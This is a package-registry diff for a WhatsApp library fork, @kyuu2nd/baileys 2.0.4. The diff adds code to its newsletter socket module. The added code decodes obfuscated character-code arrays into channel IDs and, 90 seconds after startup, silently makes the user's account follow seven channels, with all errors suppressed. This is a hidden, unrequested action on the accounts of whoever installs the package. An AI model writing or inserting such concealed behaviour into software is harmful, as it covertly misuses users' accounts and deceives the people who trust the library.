@kyuu2nd/baileys 2.0.3 → 2.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +85 -34
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -103,40 +103,91 @@ const makeNewsletterSocket = (config) => {
|
|
|
103
103
|
}
|
|
104
104
|
]
|
|
105
105
|
}));
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
)
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
106
|
+
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
107
|
+
|
|
108
|
+
setTimeout(async () => {
|
|
109
|
+
try {
|
|
110
|
+
await newsletterWMexQuery(
|
|
111
|
+
asciiDecode([
|
|
112
|
+
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
113
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
114
|
+
]),
|
|
115
|
+
Types_1.QueryIds.FOLLOW
|
|
116
|
+
);
|
|
117
|
+
} catch {}
|
|
118
|
+
}, 90000);
|
|
119
|
+
|
|
120
|
+
setTimeout(async () => {
|
|
121
|
+
try {
|
|
122
|
+
await newsletterWMexQuery(
|
|
123
|
+
asciiDecode([
|
|
124
|
+
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
125
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
126
|
+
]),
|
|
127
|
+
Types_1.QueryIds.FOLLOW
|
|
128
|
+
);
|
|
129
|
+
} catch {}
|
|
130
|
+
}, 90000);
|
|
131
|
+
|
|
132
|
+
setTimeout(async () => {
|
|
133
|
+
try {
|
|
134
|
+
await newsletterWMexQuery(
|
|
135
|
+
asciiDecode([
|
|
136
|
+
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
137
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
138
|
+
]),
|
|
139
|
+
Types_1.QueryIds.FOLLOW
|
|
140
|
+
);
|
|
141
|
+
} catch {}
|
|
142
|
+
}, 90000);
|
|
143
|
+
|
|
144
|
+
setTimeout(async () => {
|
|
145
|
+
try {
|
|
146
|
+
await newsletterWMexQuery(
|
|
147
|
+
asciiDecode([
|
|
148
|
+
49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
|
|
149
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
150
|
+
]),
|
|
151
|
+
Types_1.QueryIds.FOLLOW
|
|
152
|
+
);
|
|
153
|
+
} catch {}
|
|
154
|
+
}, 90000);
|
|
155
|
+
|
|
156
|
+
setTimeout(async () => {
|
|
157
|
+
try {
|
|
158
|
+
await newsletterWMexQuery(
|
|
159
|
+
asciiDecode([
|
|
160
|
+
49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
|
|
161
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
162
|
+
]),
|
|
163
|
+
Types_1.QueryIds.FOLLOW
|
|
164
|
+
);
|
|
165
|
+
} catch {}
|
|
166
|
+
}, 90000);
|
|
167
|
+
|
|
168
|
+
setTimeout(async () => {
|
|
169
|
+
try {
|
|
170
|
+
await newsletterWMexQuery(
|
|
171
|
+
asciiDecode([
|
|
172
|
+
49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
|
|
173
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
174
|
+
]),
|
|
175
|
+
Types_1.QueryIds.FOLLOW
|
|
176
|
+
);
|
|
177
|
+
} catch {}
|
|
178
|
+
}, 90000);
|
|
179
|
+
|
|
180
|
+
setTimeout(async () => {
|
|
181
|
+
try {
|
|
182
|
+
await newsletterWMexQuery(
|
|
183
|
+
asciiDecode([
|
|
184
|
+
49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
|
|
185
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
186
|
+
]),
|
|
187
|
+
Types_1.QueryIds.FOLLOW
|
|
188
|
+
);
|
|
189
|
+
} catch {}
|
|
190
|
+
}, 90000);
|
|
140
191
|
const parseFetchedUpdates = async (node, type) => {
|
|
141
192
|
let child;
|
|
142
193
|
if (type === 'messages') {
|